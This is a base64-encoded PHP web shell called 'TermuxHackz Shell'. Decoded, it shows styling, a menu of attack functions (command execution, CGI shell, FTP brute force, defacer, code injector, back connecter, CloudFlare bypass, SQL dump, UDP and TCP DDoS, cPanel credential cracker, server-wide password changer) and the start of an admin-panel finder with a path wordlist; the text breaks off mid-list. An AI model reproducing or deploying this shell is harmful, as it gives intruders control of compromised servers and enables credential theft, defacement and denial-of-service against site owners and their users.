LnNlbWktY2lyY2xlIHsNCiAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsNCiAgICAgICAgICBoZWlnaHQ6IDk1cHg7DQogICAgICAgICAgd2lkdGg6IDE1MHB4Ow0KICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDE1MHB4IDE1MHB4IDAgMDsNCiAgICAgICAgICBiYWNrZ3JvdW5kOiAjMTEyOw0KICAgICAgICAgIGNvbG9yOiAjODRmYjVhOw0KICAgICAgICAgIGZvbnQtc2l6ZTogMTdweDsNCiAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7DQogICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgIGJvcmRlci1zdHlsZTogZ3Jvb3ZlOw0KICAgICAgICAgIHVzZXItc2VsZWN0OiBub25lOw0KICAgICAgICB9DQogICAgICAgIC5zZW1pLWNpcmNsZTpob3ZlciB7DQogICAgICAgICAgYm94LXNoYWRvdzogMCAwIDZweCBsaWdodGJsdWU7DQogICAgICAgICAgY3Vyc29yOiBwb2ludGVyOw0KICAgICAgICB9DQogICAgICAgIC5zd2l0Y2ggew0KICBwb3NpdGlvbjogcmVsYXRpdmU7DQogIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgd2lkdGg6IDYwcHg7DQogIGhlaWdodDogMzRweDsNCn0NCg0KLyogSGlkZSBkZWZhdWx0IEhUTUwgY2hlY2tib3ggKi8NCi5zd2l0Y2ggaW5wdXQgew0KICBvcGFjaXR5OiAwOw0KICB3aWR0aDogMDsNCiAgaGVpZ2h0OiAwOw0KfQ0KDQovKiBUaGUgc2xpZGVyICovDQouc2xpZGVyIHsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICBjdXJzb3I6IHBvaW50ZXI7DQogIHRvcDogMDsNCiAgbGVmdDogMDsNCiAgcmlnaHQ6IDA7DQogIGJvdHRvbTogMDsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2NjYzsNCiAgLXdlYmtpdC10cmFuc2l0aW9uOiAuNHM7DQogIHRyYW5zaXRpb246IC40czsNCn0NCg0KLnNsaWRlcjpiZWZvcmUgew0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIGNvbnRlbnQ6ICIiOw0KICBoZWlnaHQ6IDI2cHg7DQogIHdpZHRoOiAyNnB4Ow0KICBsZWZ0OiA0cHg7DQogIGJvdHRvbTogNHB4Ow0KICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsNCiAgLXdlYmtpdC10cmFuc2l0aW9uOiAuNHM7DQogIHRyYW5zaXRpb246IC40czsNCn0NCg0KaW5wdXQ6Y2hlY2tlZCArIC5zbGlkZXIgew0KICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjE5NkYzOw0KfQ0KDQppbnB1dDpmb2N1cyArIC5zbGlkZXIgew0KICBib3gtc2hhZG93OiAwIDAgMXB4ICMyMTk2RjM7DQp9DQoNCmlucHV0OmNoZWNrZWQgKyAuc2xpZGVyOmJlZm9yZSB7DQogIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDI2cHgpOw0KICAtbXMtdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDI2cHgpOw0KICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMjZweCk7DQp9DQoNCi8qIFJvdW5kZWQgc2xpZGVycyAqLw0KLnNsaWRlci5yb3VuZCB7DQogIGJvcmRlci1yYWRpdXM6IDM0cHg7DQp9DQoNCi5zbGlkZXIucm91bmQ6YmVmb3JlIHsNCiAgYm9yZGVyLXJhZGl1czogNTAlOw0KfQ0KI2ZvbnQgew0KZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsNCmZvbnQtc2l6ZTogNTBweDsNCmZvbnQtd2VpZ2h0OiAyMDA7DQptYXJnaW46IDAgYXV0bzsNCn0gDQouZmxvYXRSaWdodHsNCmZsb2F0OnJpZ2h0Ow0KfQ0KLmZsb2F0UmlnaHQ6aG92ZXIgew0KY3Vyc29yOiBwb2ludGVyOw0KfQ0KICAgICAgYnV0dG9uIHsNCiAgICAgICAgY29sb3I6IHdoaXRlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItbGVmdDogIzA4MDUxMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBib3JkZXItcmlnaHQ6ICMwODA1MTA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwNTY5NTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMTAlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHg7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgIH0NCiAgICAgIGJ1dHRvbjpob3ZlciB7DQogICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2MyZjk7DQogICAgICB9DQogICAgICAgIDwvc3R5bGU+JzsNCiAgICAgICAgPz4NCiAgICAgICAgPGJvZHk+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGluZyI+DQogICAgICAgICAgICAgICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8Zm9udCBpZD0iZm9udCIgdGl0bGU9InRoczEzMzcgYnkgVGVybXV4SGFja3ogU29jaWV0eSI+VGVybXV4SGFja3o8L2ZvbnQ+PHNwYW4gY2xhc3M9InJlZDEiPiBTaGVsbDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vdGVybXV4aGFja3ouZ2l0aHViLmlvL2luZGV4Lmh0bWwiIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaHR0cHM6Ly9paWxpLmlvL1lwcXpXZy5wbmciIGNsYXNzPSJmbG9hdFJpZ2h0IiB3aWR0aD0iMjUwcHgiIGhlaWdodD0iMTAwcHgiLz48L2E+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPCEtLSBzdGFydCBvZiBwb3B1cCAtLT4NCiAgICAgICAgICAgICAgICA8Y2VudGVyPg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9zdGFydF9wcm94eSI+DQogICAgICAgICAgICAgICAgICAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3RhcnQgUHJveHkgIi8+IDxpIGNsYXNzPSJmYSBmYS1nZWFyIGZhLXNwaW4iIHN0eWxlPSJmb250LXNpemU6MjRweCI+PC9pPg0KICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgPC9jZW50ZXI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnV0dG9ucyI+PGNlbnRlcj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9zZXJ2ZXJfaW5mbyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZXJ2ZXIgSW5mbyIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kYl9pbmZvIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRGIgaW5mbyIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsJDQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZmlsZV9tYW5hZ2VyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkZpbGUgTWFuYWdlciIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9maWxlX2NyZWF0b3IiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRmlsZSBDcmVhdG9yIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2FkbWluX2ZpbmRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkZpbmQgQWRtaW4gUGFuZWwiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/Y2dpX3NoZWxsIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNHSSBTaGVsbCIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9waHBfaW5mbyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJQaHAgSW5mbyIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9mdHBfYnJ1dGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRnRwIGJydXRlIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2V4ZWMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iKSB7JG9zID0gJ3dpbic7fWVsc2UgeyRvcyA9ICduaXgnO31pZigkb3MgPT0gJ25peCcpe2VjaG8gJ0NNRCc7fSBlbHNlIHtlY2hvICdUZXJtaW5hbCc7IH0gPz4iIC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGVmYWNlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEZWZhY2VyIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP21hc3NfaW5qZWN0b3IiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29kZSBJbmplY3RvciIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij91cGxvYWRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWRlciIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9zaGVsbHMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2hlbGxzIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3NjcmlwdHMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NyaXB0cyIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9zeW1saW5rIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN5bWxpbmtlciIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij90ZWxuZXRfY29ubmVjdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUZWxuZXQgQ29ubmVjdCIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kdSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJXZWJzaXRlIGFuZCBVc2VybmFtZSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3dwX3RpdGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IldwIFRpdGxlIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2RvbWFpbnMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRG9tYWlucyIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wb3J0X3NjYW5uZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJQb3J0IHNjYW5uZXIiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9zY2FuX3NpdGUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2NhbiBzaXRlIGZvciB2aXJ1cyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/YnlwYXNzX2Nsb3VkZmxhcmUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ2xvdWRGbGFyZSIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2JhY2tfY29ubmVjdGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJhY2sgQ29ubmVjdGVyIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3NwYW1taW5nX3Rvb2xzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNwYW1taW5nIFRvb2xzIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2lwX2xvb2t1cCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IklQIExvb2t1cCIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9yZWNvbiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ildob2lzIHNjYW4iIC8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZHVtcF9kYiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEdW1wIFNRbCBEYXRhYmFzZSIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9VRFBfRERPUyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVkcCBkZG9zIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP3RjcF9kZG9zIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVGNwIGRkb3MiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIAk8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICAJPCEtLUFkZCB0aGUgbmJzcCBzdHVmZiAtLT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kZWNvZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJhc2U2NCBFbmNvZGVyIGFuZCBEZWNvZGVyIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2FyY2hpdmVfbWFuYWdlciI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJBcmNoaXZlIE1hbmFnZXIiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9nZW5lcmF0ZV9tZDVoYXNoIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdlbmVyYXRlIE1ENSBIYXNoIi8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/d2pjIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNNUyBiYXNlZCBhZG1pbiBwYW5lbCBwYXNzIGNoYW5nZXIiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij93aG9sZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDaGFuZ2UgVXNlci9QYXNzIGZvciB3aG9sZSBTZXJ2ZXIiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9wYXJ0aWN1bGFyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNoYW5nZSBVc2VyL1Bhc3MgZm9yIHBhcnRpY3VsYXIgdXNlcnMiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9zc2hfY29uIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNTSCIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/aXBfZ2VvbG9jYXRpb24iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSXAgZ2VvbG9jYXRpb24iLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9jcGFuZWwiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQXV0byBVc2VyL1Bhc3MgY3BhbmVsIGNyYWNrZXIiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsNCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaWUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVtb3ZlIFNoZWxsIiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gaWQ9ImxvbmciPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/YWJvdXRfdXMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJBYm91dCB1cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQogICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICA8aHIgc3R5bGU9IndpZHRoOiA4MCU7IGhlaWdodDogMjAlOyBjb2xvcjogZ29sZDsiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvY2VudGVyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCmlmKGlzc2V0KCRfR0VUWyJhZG1pbl9maW5kZXIiXSkpIHsNCj8+DQo8P3BocCBzZXRfdGltZV9saW1pdCgwKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiRsaXN0Wydmcm9udCddID0gImFkbWluDQphZG0NCmFkbWluY3ANCmFkbWNwDQpjcA0KbW9kY3ANCm1vZGVyYXRvcmNwDQphZG1pbmFyZQ0KYWRtaW5zDQpjcGFuZWwNCmNvbnRyb2xwYW5lbCI7DQokbGlzdFsnZW5kJ10gPSAiYWRtaW4xLnBocA0KYWRtaW4xLmh0bWwNCmFkbWluMi5waHANCmFkbWluMi5odG1sDQp5b25ldGltLnBocA0KeW9uZXRpbS5odG1sDQp5b25ldGljaS5waHANCnlvbmV0aWNpLmh0bWwNCmNjbXMvDQpjY21zL2xvZ2luLnBocA0KY2Ntcy9pbmRleC5waHANCm1haW50ZW5hbmNlLw0Kd2VibWFzdGVyLw0KYWRtLw0KZnRwLw0KY29uZmlndXJhdGlvbi8NCmNvbmZpZ3VyZS8NCndlYnN2bi8NCmFkbWluLw0KYWRtaW4vYWNjb3VudC5waHANCmFkbWluL2FjY291bnQuaHRtbA0KYWRtaW4vaW5kZXgucGhwDQphZG1pbi9pbmRleC5odG1sDQphZG1pbi9sb2dpbi5waHANCmFkbWluL2xvZ2luLmh0bWwNCmFkbWluL2hvbWUucGhwDQphZG1pbi9jb250cm9scGFuZWwuaHRtbA0KYWRtaW4vY29udHJvbHBhbmVsLnBocA0KYWRtaW4ucGhwDQphZG1pbi5odG1sDQphZG1pbi9jcC5waHANCmFkbWluL2NwLmh0bWwNCmNwLnBocA0KY3AuaHRtbA0KYWRtaW5pc3RyYXRvci8NCmFkbWluaXN0cmF0b3IvaW5kZXguaHRtbA0KYWRtaW5pc3RyYXRvci9pbmRleC5waHANCmFkbWluaXN0cmF0b3IvbG9naW4uaHRtbA0KYWRtaW5pc3RyYXRvci9sb2dpbi5waHANCmFkbWluaXN0cmF0b3IvYWNjb3VudC5odG1sDQphZG1pbmlzdHJhdG9yL2FjY291bnQucGhwDQphZG1pbmlzdHJhdG9yLnBocA0KYWRtaW5pc3RyYXRvci5odG1sDQpsb2dpbi5waHANCmxvZ2luLmh0bWwNCm1vZGVsc2VhcmNoL2xvZ2luLnBocA0KbW9kZXJhdG9yLnBocA0KbW9kZXJhdG9yLmh0bWwNCm1vZGVyYXRvci9sb2dpbi5waHANCm1vZGVyYXRvci9sb2dpbi5odG1sDQptb2RlcmF0b3IvYWRtaW4ucGhwDQptb2RlcmF0b3IvYWRtaW4uaHRtbA0KbW9kZXJhdG9yLw0KYWNjb3VudC5waHANCmFjY291bnQuaHRtbA0KY29udHJvbHBhbmVsLw0KY29udHJvbHBhbmVsLnBocA0KY29udHJvbHBhbmVsLmh0bWwNCmFkbWluY29udHJvbC5waHANCmFkbWluY29udHJvbC5odG1sDQphZG1pbnBhbmVsLnBocA0KYWRtaW5wYW5lbC5odG1sDQphZG1pbjEuYXNwDQphZG1pbjIuYXNwDQp5b25ldGltLmFzcA0KeW9uZXRpY2kuYXNwDQphZG1pbi9hY2NvdW50LmFzcA0KYWRtaW4vaW5kZXguYXNwDQphZG1pbi9sb2dpbi5hc3ANCmFkbWluL2hvbWUuYXNwDQphZG1pbi9jb250cm9scGFuZWwuYXNwDQphZG1pbi5hc3ANCmFkbWluL2NwLmFzcA0KY3AuYXNwDQphZG1pbmlzdHJhdG9yL2luZGV4LmFzcA0KYWRtaW5pc3RyYXRvci9sb2dpbi5hc3ANCmFkbWluaXN0cmF0b3IvYWNjb3VudC5hc3ANCmFkbWluaXN0cmF0b3IuYXNwDQpsb2dpbi5hc3ANCm1vZGVsc2VhcmNoL2xvZ2luLmFzcA0KbW9kZXJhdG9yLmFzcA0KbW9kZXJhdG9yL2xvZ2luLmFzcA0KbW9kZXJhdG9yL2FkbWluLmFzcA0KYWNjb3VudC5hc3ANCmNvbnRyb2xwYW5lbC5hc3ANCmFkbWluY29udHJvbC5hc3ANCmFkbWlucGFuZWwuYXNwDQpmaWxlYW